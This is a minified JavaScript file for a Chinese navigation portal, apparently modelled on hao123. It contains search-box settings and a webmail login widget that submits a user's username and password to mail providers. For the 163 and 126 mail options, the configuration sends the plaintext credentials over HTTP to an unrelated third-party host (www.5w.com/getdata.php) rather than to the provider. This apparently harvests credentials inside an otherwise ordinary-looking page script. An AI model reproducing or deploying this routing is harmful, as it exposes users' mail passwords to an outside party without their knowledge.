function G($){return document.getElementById($)}function C($){return document.createElement($)}function Ci(_,A){var $=C("input");$.name=_;$.value=A;$.type="hidden";return $}
function trim($){$=$.replace(/(^\u3000+)|(\u3000+$)/g,"");$=$.replace(/(^ +)|( +$)/g,"");return $}
var format=function(_,B){if(arguments.length>1){var F=format,H=/([.*+?^=!:${}()|[\]\/\\])/g,C=(F.left_delimiter||"{").replace(H,"\\$1"),A=(F.right_delimiter||"}").replace(H,"\\$1"),E=F._r1||(F._r1=new RegExp("#"+C+"([^"+C+A+"]+)"+A,"g")),G=F._r2||(F._r2=new RegExp("#"+C+"(\\d+)"+A,"g"));if(typeof(B)=="object")return _.replace(E,function(_,A){var $=B[A];if(typeof $=="function")$=$(A);return typeof($)=="undefined"?"":$});else if(typeof(B)!="undefined"){var D=Array.prototype.slice.call(arguments,1),$=D.length;return _.replace(G,function(A,_){_=parseInt(_,10);return(_>=$)?A:D[_]})}}return _}
var Config={MailConfig:[{val:0},{action:"http://www.5w.com/getdata.php?act=mail163",params:{url:"http://reg.163.com/login.jsp?type=1&url=http://entry.mail.163.com/coremail/fcg/ntesdoor2?lightweight=1&verifycookie=1&",username:"#{u}",password:"#{p}"}},{action:"http://www.5w.com/getdata.php?act=mail126",params:{domain:"126.com",username:"#{u}@126.com",password:"#{p}",url:"http://reg.163.com/login.jsp?type=1&product=mail126&url=http://entry.mail.126.com/cgi/ntesdoor?hid=10010102&lightweight=1&"}},{action:"https://passport.baidu.com/?login",params:{u:"http://passport.baidu.com/center",username:"#{u}",password:"#{p}"}},{action:"http://passport.renren.com/PLogin.do",params:{email:"#{u}",password:"#{p}",origURL:"http://www.renren.com/Home.do",domain:"renren.com"}},{action:"http://mail.sina.com.cn/cgi-bin/login.cgi",params:{u:"#{u}",psw:"#{p}"}},{action:"https://edit.bjs.yahoo.com/config/login",params:{login:"#{u}@yahoo.com.cn",passwd:"#{p}",domainss:"yahoo",".intl":"cn",".src":"ym"}},{action:"https://edit.bjs.yahoo.com/config/login",params:{login:"#{u}@yahoo.cn",passwd:"#{p}",domainss:"yahoocn",".intl":"cn",".done":"http://mail.cn.yahoo.com/inset.html"}},{action:"http://passport.sohu.com/login.jsp",params:{loginid:"#{u}@sohu.com",passwd:"#{p}",fl:"1",vr:"1|1",appid:"1000",ru:"http://login.mail.sohu.com/servlet/LoginServlet",ct:"1173080990",sg:"5082635c77272088ae7241ccdf7cf062"}},{action:"http://login.mail.tom.com/cgi/login",params:{user:"#{u}",pass:"#{p}"}},{action:"http://passport.21cn.com/maillogin.jsp",params:{UserName:"#{u}@21cn.com",passwd:"#{p}",domainname:"21cn.com"}},{action:"https://reg.163.com/logins.jsp",params:{domain:"yeah.net",username:"#{u}@yeah.net",password:"#{p}",url:"http://entry.mail.yeah.net/cgi/ntesdoor?lightweight%3D1%26verifycookie%3D1%26style%3D-1"}},{action:"http://passport.51.com/login.5p",params:{passport_51_user:"#{u}",passport_51_password:"#{p}",gourl:"http%3A%2F%2Fmy.51.com%2Fwebim%2Findex.php"}},{action:"http://login.tianya.cn/user/v3_loginsubmit.asp",params:{vwriter:"#{u}",vpassword:"#{p}"}},{action:"http://passport.sohu.com/login.jsp",params:{loginid:"#{u}@chinaren.com",passwd:"#{p}",fl:"1",vr:"1|1",appid:"1005",ru:"http://profile.chinaren.com/urs/setcookie.jsp?burl=http://alumni.chinaren.com/",ct:"1174378209",sg:"84ff7b2e1d8f3dc46c6d17bb83fe72bd"}},{val:0},{action:"http://qzone.qq.com/index.html",type:"link"},{action:"http://mail.qq.com",type:"link"},{action:"http://gmail.google.com",type:"link"},{action:"http://www.hotmail.com",type:"link"},{action:"http://mail.139.com",type:"link"},{action:"http://www.kaixin001.com",type:"link"}],FormConfig:{web:{action:"http://www.baidu.com/s",imgLogo:"http://www.hao123.com/images/logox3.gif",imgAlt:"\u767e\u5ea6\u9996\u9875",url:"http://www.baidu.com/index.php?tn=sitehao123",content:"",params:{word:"",tn:"sitehao123"}},mp3:{action:"http://mp3.baidu.com/m",imgLogo:"http://www.hao123.com/images/logo_mp3.gif",imgAlt:"\u767e\u5ea6MP3",url:"http://mp3.baidu.com/",content:"",params:{word:"",tn:"baidump3",ct:"134217728",sc:"hao123"}},image:{action:"http://image.baidu.com/i",imgLogo:"http://www.hao123.com/images/logo_pic.gif",imgAlt:"\u767e\u5ea6\u56fe\u7247",url:"http://image.baidu.com/",content:"",params:{word:"",tn:"baiduimage",ct:"201326592",cl:"2",lm:"-1",fm:"hao123"}},video:{action:"http://video.baidu.com/v",imgLogo:"http://www.hao123.com/images/logo_video.gif",imgAlt:"\u767e\u5ea6\u89c6\u9891\u641c\u7d22",url:"http://video.baidu.com/",content:"",params:{word:"",sc:"hao123"}},zhidao:{action:"http://zhidao.baidu.com/q",imgLogo:"http://www.hao123.com/images/logo_zhidao.gif",imgAlt:"\u767e\u5ea6\u77e5\u9053",url:"http://zhidao.baidu.com/",content:"",params:{word:"",tn:"ikaslist",ct:"17",sc:"hao123",rn:"20"}},tieba:{action:"http://tieba.baidu.com/f",imgLogo:"http://www.hao123.com/images/logo_post.gif",imgAlt:"\u767e\u5ea6\u8d34\u5427",url:"http://tieba.baidu.com/",content:"",params:{kw:"",sc:"hao123"}},news:{action:"http://news.baidu.com/ns",imgLogo:"http://www.hao123.com/images/logo_news.gif",imgAlt:"\u767e\u5ea6\u65b0\u95fb\u641c\u7d22",url:"http://news.baidu.com/",content:"",params:{word:"",tn:"news",sc:"hao123"}},map:{action:"http://map.baidu.com/m",imgLogo:"http://www.hao123.com/images/logo_map.gif",imgAlt:"\u767e\u5ea6\u5730\u56fe\u641c\u7d22",url:"http://map.baidu.com/",content:"",params:{word:""}}},RandomPlayConfig:[["www.qunar.com/?dh=mz1","\u53bb\u54ea\u513f\u7f51"]],UserTrackConfig:{host:"http://www.hao123.com/images/track.gif"}}
var MailLogin={mailCache:[],sendMail:function(){var B=G("hao_mail_username").value,C=G("hao_mail_passwd").value,E=G("hao_mail_options"),A=document.mail,_=E.selectedIndex,H=Config.MailConfig[_],F={u:B,p:C};if(H.val==0){alert("\u60a8\u6ca1\u6709\u9009\u62e9\u90ae\u7bb1\uff01");return}if(trim(F.u)==""){alert("\u7528\u6237\u540d\u4e0d\u80fd\u4e3a\u7a7a\uff01");return}if(trim(F.p)==""){alert("\u5bc6\u7801\u4e0d\u80fd\u4e3a\u7a7a\uff01");return}if(this.mailCache.index!=_){this.mailCache.index=_;for(var I=0,D=this.mailCache.length;I<D;I++)A.removeChild(this.mailCache[I]);this.mailCache=[]}A.action=H.action;for(I in H.params){var $=Ci(I,format(H.params[I],F));this.mailCache.push($);A.appendChild($)}G("hao_mail_username").value="";G("hao_mail_passwd").value="";A.submit();G("hao_mail_username").value=B},change:function(_){var $=Config.MailConfig[_.selectedIndex];if($.type=="link"){window.open($.action);_.selectedIndex=15}}}